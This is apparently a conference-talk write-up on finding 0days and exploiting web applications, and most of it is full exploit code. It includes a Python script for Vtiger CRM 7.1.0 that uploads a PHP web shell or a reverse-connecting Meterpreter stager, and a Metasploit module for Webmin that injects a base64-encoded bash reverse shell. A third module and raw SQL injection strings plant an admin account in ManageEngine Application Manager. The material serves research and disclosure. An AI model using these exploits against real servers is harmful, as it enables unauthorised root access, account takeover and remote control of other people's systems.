
Welcome to the first ever AppSec Village
12:30-13:15 0day Hunting and RCE Exploitation in Web Applications

Whoami
Özkan Mustafa AKKUŞ - Vulnerability Researcher && Pentester
Presentation Schedule
1.0. Recognize the web application and analyze user interaction areas 2.0. Interventions to disrupt the Client-Server relationship 3.0. Brief examples of manipulations to find vulnerability 4.0. Exploitation of discovered vulnerability with Metasploit 5.0. Power of 0days and choice between black and white hats 6.0. Disclosure of public 0days in Webmin and ManageEngine web applications
1.0. Recognize the web application and analyze user interaction areas
This is really important at the beginning of the road. Understanding the web application is the most important part of researching. To understand web applications, we must first become a user. It should be easier for you if you have developed a few. Because they work according to the developer's wishes. But sometimes there are things that the developer can't imagine. That's where 0day hunters come in. The hunter may come across a big surprise, if hunter can guess where the developer make mistake. The areas with the highest number of missing and unsecured requests are user interaction areas. That's why we need to do a perfect analysis of user interaction areas. In doing this analysis, do not believe what the web interface shows you (o_O) GIF We can discover and manipulate points that the application doesn't want to show us. We can also make changes to requests that the application sends to the server. Almost most of the web application vulnerabilities are revealed in this way. - Before continuing, I want to say something important. Your first job should not be to read the source code. My first job was never to look at the source code too of course. If you do this, it will be very difficult to find 0day. Don't do that. And don't afraid from source codes. A lot of researchers are afraid of examining source code. They thinks we should check all the codes. This is indeed very wrong . Just make them understand. We can't memorize all language libraries. You can access libraries in all software languages from google. This is normal. This way you can read the source code to see what's going on. If you stop fearing them, you can learn them all over time. Because we cannot read thousands of lines code. We should think more simply. First we need to know where vulnerability could be. Then we can examine the source code check at that point. Therefore, first of all. Examine the web interface, check user interaction areas and manipulate operations. That's how we can discover vulnerability. As I said before critical vulnerabilities are usually on user interaction areas.2.0. Interventions to disrupt the Client-Server relationship
With the features and privileges defined to the user, the user-application relationship may unexpectedly turn direct into the user-server relationship. This is realy very important point too. We can not use random relationship-breaking techniques. Thats why we need to understand the application to disrupt this relationship. To make a good analysis, you should put yourself in the place of application (o_O) GIF if you want to get something from the application :) You should think like the application itself. So you should act as if you are the application itself. how would you do If the user gave you an order? If we can give reasonable answers to this question, we can get very close to finding the vulnerability. we must distinguish between sensible and non-sensible manipulations. It is necessary to fully analyze how the user's instructions can be fulfilled by the application. In this way, you will successfully complete the most important part of the research. with this structure of thinking, we determine which areas of the application we need to check for vulnerability. We need also take over the privileges of the application and get the server to do what we want For Example, you are the web application itself. I'm a user. Suppose there is a button to upgrade your current version. If I use this button as a user, you will request "update me" to the server Then the server will update you and you will tell me "I have updated myself" "I have done what you want" Let's think a little. You did what I wanted, and so the server did what I wanted too. Well ... Can I manipulate the command you send to the server? Definitely yes. Because the user sending the request. The application only acts as an intermediary. Note that the application is just a broker between the server and the user. Don't let it for relationship with the server (o_O) GIF So keep in mind that you have the real privilege and real power. At this point, we need to perform "Interventions to disrupt the Client-Server relationship" So you need to know some manipulation techniques for take the application under your command. With the manipulations, possible to confuse it and also possible make it do the wrong things. Lets check examples of manipulations to find vulnerability.3.0. Brief examples of manipulations to find vulnerability
There are many ways to execute command on server. For Example We can upload a malicious file to the server and we can call it. We can inject a different command into a request that executes the command. We can create a malicious function by using the application's software language and we can let the application call this function. bla bla But basically it's all done on the same logic.- All of them are based on accessing the server command line!
- Ex-1 (CVE-2019-5009) // Use metadata and exif for place malicious codes in the images
To give an example of manipulation techniques, the most common and dangerous are image upload areas. We may place malicious codes in the images. All Applications control the size and type of the images. These are PNG JPEG or GIF. If this control cannot be avoided, we can use the image itself as a malicious file. I'll show you an example of the vulnerability I've discovered in Vtiger before. We will use Vtiger 7.1.0. Let's take a look at this in practice... That's not so critical vulnerability. Because we need credentials for the admin account. But here I will show you how to use images as malicious files. There is a arbitrary file upload vulnerability in the "Company Logo" field in the "CRM Settings > Configuration > Company Details " section of the application.






# Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://sourceforge.net/projects/vtigercrm/files/latest/download
# Version: v7.1.0
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : Vtiger CRM enables sales, support, and marketing teams to
# organize and collaborate to measurably improve customer experiences and business outcomes.
# Description : This application has the vulnerability of uploading files with the extension "php3" in the logo upload field.
# But the uploaded file must be in PNG format and size 150X40.
# We can put PHP code into image source. After you make the extension "php3", the PHP code that we've placed can work.
# Therefore, PHP code can be executed using "" Tags in PNG format file.
# ==================================================================
# I have exploited in 2 different ways.
# First one uploads a basic php shell for you and lets you control it through the console.
# Second one uploads the php meterpreter payload to the target site and lets you set this payload.
# PoC:
#!/usr/bin/python
import mechanize, sys, cookielib, requests
import colorama, urllib, re, random
from colorama import Fore
def bannerche():
print '''
@-------------------------------------------------------------@
| Vtiger CRM 7.1.0 - Remote Code Execution Exploit |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()
if (len(sys.argv) != 2):
print "[*] Usage: poc.py RHOST"
exit(0)
rhost = sys.argv[1]
UserName = str(raw_input("User Name: ")) # Administrator Username Input
Password = str(raw_input("Password: ")) # Administrator Password Input
print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser() # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
br.open("http://"+rhost+"/") # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()
title = br.title()
if title == "Dashboard": # Access control
print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")
print (Fore.GREEN + "+ [*] Login successful")
else:
print (Fore.RED + "+ [*] User information is incorrect.")
sys.exit()
##
# Introducing Cookie and CSRF token information
##
check = requests.get("http://"+rhost+"/index.php?module=Vtiger&parent=Settings&view=CompanyDetails&block=8&fieldid=14", cookies=cj)
doc = check.text
finder = re.findall(r'csrfMagicToken = ".*";', doc)
csrf = finder[0].replace('csrfMagicToken = ', '').replace('"','').replace(';var csrfMagicName = __vtrftk;','').strip()
csrf_to_data = str(csrf)
print(Fore.YELLOW + "+ [*] Token = " + csrf_to_data)
x = br._ua_handlers['_cookies'].cookiejar
c = str(x)
sonuc = re.findall(r"([a-fA-F\d]{32})", c)
g = sonuc[0]
v = str(g)
print (Fore.YELLOW + "+ [*] PHPSESSID = " + v)
##
# Random value fetching
##
boundary = ''.join(str(random.randint(0,9)) for _ in xrange(29))
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3"
##
# EXPLOIT
##
post_cookie = {"PHPSESSID": v}
post_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+""}
Basic_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"
print (Fore.BLUE + "+ [*] Select shell type:")
print (Fore.YELLOW +"- [*] 1 - Basic Shell")
print ("- [*] 2 - Meterpreter Shell")
choose = int(raw_input("- [*] Enter a number (1 or 2) : "))
if choose == 1:
Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Basic_data)
if Basic.status_code == 200:
print (Fore.GREEN + "+ [*] Shell successfully uploaded!")
print (Fore.GREEN + "+ [*] Shell Directory = http://"+rhost+"/test/logo/"+filename+"?cmd=[Command Here]")
while True:
shellctrl = requests.get("http://"+rhost+"/test/logo/"+filename+"")
if shellctrl.status_code == 200:
Command = str(raw_input(Fore.WHITE + "shell> "))
URL = requests.get("http://"+rhost+"/test/logo/"+filename+"?cmd="+Command+"")
print URL.text
else:
print (Fore.RED + "+ [X] Unable to upload or access the shell")
sys.exit()
elif choose == 2:
print("+ [*] In this option, you must listen to LHOST and LPORT with your Metasploit.")
print(Fore.RED + "+ [*] You should use the "+Fore.WHITE +"php/meterpreter/reverse_tcp"+Fore.RED +" payload")
print(Fore.YELLOW + "+ [*] Enter metasploit handler settings.")
lhost = str(raw_input(Fore.WHITE + "LHOST : "))
lport = str(raw_input(Fore.WHITE + "LPORT : "))
Meter_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\=error_reporting(0); $ip = '"+lhost+"'; $port = "+lport+"; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\"Nlen\", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"
Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Meter_data)
while True:
payload = requests.get("http://"+rhost+"/test/logo/"+filename+"")
print("+ [*] Check your Metasploit Framework console")
if payload.status_code == 200:
print (Fore.GREEN + "+ [*] Payload uploaded and executed!")
else:
print (Fore.RED + "+ [X] Unable to upload and run the payload")
sys.exit()
else:
print("Invalid input!")
# end

- Ex-2 (CVE-2019-12840) // Use symbols // vertical bar (|) // double an ampersand (&&) (o_O) GIF
Another manipulation technique is by using symbols. If we use vertical bar (|) it ignores the previous command and executes the command after the vertical bar and If we use double An ampersand (&&) it executes all commands written before and after it.





##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin Package Updates Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.910 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12840'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("- Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "910"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end

- Ex-3 (0day) // Use the app's own feature // Privilege escalation with another VULN
The last remote code execution technique I want to show you is to use the application's own feature. Some applications have features that we can legally execute commands on the admin configuration panel. But first we need to use a different vulnerability to switch the admin panel. I'm gonna show this example on my 0day which I published in Defcon. We will use ManageEngine Application Manager v14


1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+($$21$$,$$appsec2$$,$$e4912b56d06c0e67857d8592ec938118$$);insert+into+Am_UserGroupTable+(username,groupname)+values+($$appsec2$$,$$ADMIN$$);--+
1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (CHAR(53)+CHAR(55)+CHAR(49), CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), 0x3d60b14baa4755edf3e0dc44981124d1, CHAR(51)+CHAR(55)+CHAR(49)+CHAR(56)+CHAR(54)+CHAR(48));INSERT INTO AM_UserGroupTable(username,groupname) values (CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78))--
In the MSSQL database, "CHAR" encode should be used.
The platform can be linux and possible remotely connected to the MSSQL database.In the same way platform can be windows and postgresql can be used.









##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 9090,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(cookie, platform, @dir)
end
def file_up(cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(cookie, action)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.do'),
)
# For this part the build control will be placed.
if res && res.code == 200 && res.body.include?('Build No:142')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'submit' => 'Login'
}
)
if res && res.code == 303
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
send_sqli(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
def send_sqli(cookies)
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)
print @uname + "//" + @pwd
puts res.body
if res && res.code == 303
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end


4.0. Exploitation of discovered vulnerability with Metasploit
In this section, I'm gonna publish "Webmin 1.920 Unatuhenticated Remote Code Execution" vulnerability. And we will exploit this vulnerability with metasploit together. Metasploit is the most commonly used tool I think. It is very simple to use and it has a large library for all kind of exploits. Today We will use the "HttpClient" library which we can use to send HTTP requests. Because we need to have a special library for the HTTP protocol to exploit web applications vulnerabilities. Also Metasploit has a very wide structure in this regard. In addition to the "HTTPClient" library, we should also be familiar with the "ruby" software language. As I said before, you don't have to memorize libraries. You can check the forgotten functions on the internet. We just need to know what we need. That's all Let me show you "Webmin Unatuhenticated RCE" in practice. After the practice we will write exploit with metasploit. in webmin, the "user password change" must be allowed for the exploit vulnerability. this is the only condition. Many webmin managers enable this feature. They allows users to set a new password with the old password. Let's take a closer look at this. While researching on the Webmin application, I noticed some interesting ".cgi" files. One of them is "password_change.cgi"
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";








Ex: send_request_raw({'uri'=>'/index.php'})
• send_request_cgi (Rex::Proto::Http::Client#request_cgi)
Ex: send_request_cgi({
'method' => 'GET',
'uri' => '/AppSec.php',
'vars_get' => {
'param_1' => 'abc',
'param_2' => '123'
}
})
- Check here for more... Metasploit Wiki
We will make requests to the HTTP protocol with using these methods.
Before adding weakness-related functions to the module, the information that should be included in the "initialize" function must be defined.
This section contains information on vulnerability. We also state what metasploit should pay attention to when running this module.
Please click here for more information...
An important point is that the "exploit" function must be included in the module for the module to work.
Before sending the request, the "cookie", "data" and other HTTP requirements must be defined.
Since this vulnerability is "unauthenticated", we do not need any "cookie" information. However, we need to use the cookie information that the application defines to visitors.
